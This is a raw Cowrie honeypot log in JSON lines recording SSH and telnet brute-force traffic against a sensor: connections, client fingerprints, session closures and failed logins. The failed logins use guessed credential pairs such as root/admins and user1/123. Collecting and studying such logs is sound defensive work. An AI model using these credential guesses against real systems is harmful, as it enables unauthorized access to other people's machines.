{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:04.576580Z","src_ip":"45.156.87.147","session":"7e7940c17e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:04.833744Z","src_ip":"45.156.87.147","session":"7e7940c17e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:04.843496Z","src_ip":"91.92.42.227","session":"db3faf0829e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.828365325927734,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:05.055260Z","src_ip":"128.199.8.54","session":"2d504def7e7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:06.028121Z","src_ip":"45.156.87.147","session":"7e7940c17e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:08.514498Z","src_ip":"27.71.230.31","session":"1bbd64211b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52550,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba5fbeb22af","protocol":"ssh","message":"New connection: 91.92.42.227:52550 (10.17.0.5:22) [session: eba5fbeb22af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.029310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.182365Z","src_ip":"91.92.42.227","session":"eba5fbeb22af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.188244Z","src_ip":"91.92.42.227","session":"eba5fbeb22af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6a510f0c3c","protocol":"ssh","message":"New connection: 45.156.87.147:50654 (10.17.0.5:22) [session: 1b6a510f0c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.569012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.572933Z","src_ip":"45.156.87.147","session":"1b6a510f0c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.656410Z","src_ip":"45.156.87.147","session":"1b6a510f0c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39254,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8759b41010","protocol":"telnet","message":"New connection: 128.199.8.54:39254 (159.203.135.109:23) [session: 2e8759b41010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.697964Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:10.907367Z","src_ip":"45.156.87.147","session":"1b6a510f0c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:11.351006Z","src_ip":"91.92.42.227","session":"eba5fbeb22af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40014,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0ce7ae03ca","protocol":"telnet","message":"New connection: 128.199.8.54:40014 (159.203.135.109:23) [session: 4a0ce7ae03ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:11.881799Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:11.997015Z","src_ip":"45.156.87.147","session":"1b6a510f0c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:12.995618Z","src_ip":"91.92.42.227","session":"eba5fbeb22af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admins","message":"login attempt [root/admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:13.603274Z","src_ip":"27.71.230.31","session":"1bbd64211b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.36965370178223,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:14.890500Z","src_ip":"172.81.62.90","session":"297312f6cf33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.619717Z","src_ip":"27.71.230.31","session":"1bbd64211b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc0e418365b","protocol":"ssh","message":"New connection: 45.156.87.147:50680 (10.17.0.5:22) [session: 6cc0e418365b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.682421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.688254Z","src_ip":"45.156.87.147","session":"6cc0e418365b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.772252Z","src_ip":"45.156.87.147","session":"6cc0e418365b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":45758,"dst_ip":"10.17.0.5","dst_port":22,"session":"dce9f8e0f370","protocol":"ssh","message":"New connection: 37.233.85.71:45758 (10.17.0.5:22) [session: dce9f8e0f370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.805027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.809161Z","src_ip":"37.233.85.71","session":"dce9f8e0f370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:16.913344Z","src_ip":"37.233.85.71","session":"dce9f8e0f370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:17.028503Z","src_ip":"45.156.87.147","session":"6cc0e418365b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08121985","message":"login attempt [root/08121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:17.225275Z","src_ip":"37.233.85.71","session":"dce9f8e0f370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33846,"dst_ip":"10.17.0.5","dst_port":22,"session":"9139e2932b96","protocol":"ssh","message":"New connection: 91.92.42.227:33846 (10.17.0.5:22) [session: 9139e2932b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:17.605325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:17.701206Z","src_ip":"91.92.42.227","session":"9139e2932b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:17.704446Z","src_ip":"91.92.42.227","session":"9139e2932b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:18.158098Z","src_ip":"45.156.87.147","session":"6cc0e418365b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:18.331134Z","src_ip":"37.233.85.71","session":"dce9f8e0f370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:18.414581Z","src_ip":"91.92.42.227","session":"9139e2932b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:19.564953Z","src_ip":"91.92.42.227","session":"9139e2932b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47654,"dst_ip":"10.17.0.5","dst_port":22,"session":"045f252632b7","protocol":"ssh","message":"New connection: 45.156.87.147:47654 (10.17.0.5:22) [session: 045f252632b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:22.714749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:22.721729Z","src_ip":"45.156.87.147","session":"045f252632b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:22.806158Z","src_ip":"45.156.87.147","session":"045f252632b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:23.165892Z","src_ip":"45.156.87.147","session":"045f252632b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:24.257640Z","src_ip":"45.156.87.147","session":"045f252632b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48080,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a725f0602e","protocol":"ssh","message":"New connection: 91.92.42.227:48080 (10.17.0.5:22) [session: 89a725f0602e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:24.715733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:24.751255Z","src_ip":"91.92.42.227","session":"89a725f0602e","protocol":"ssh"}
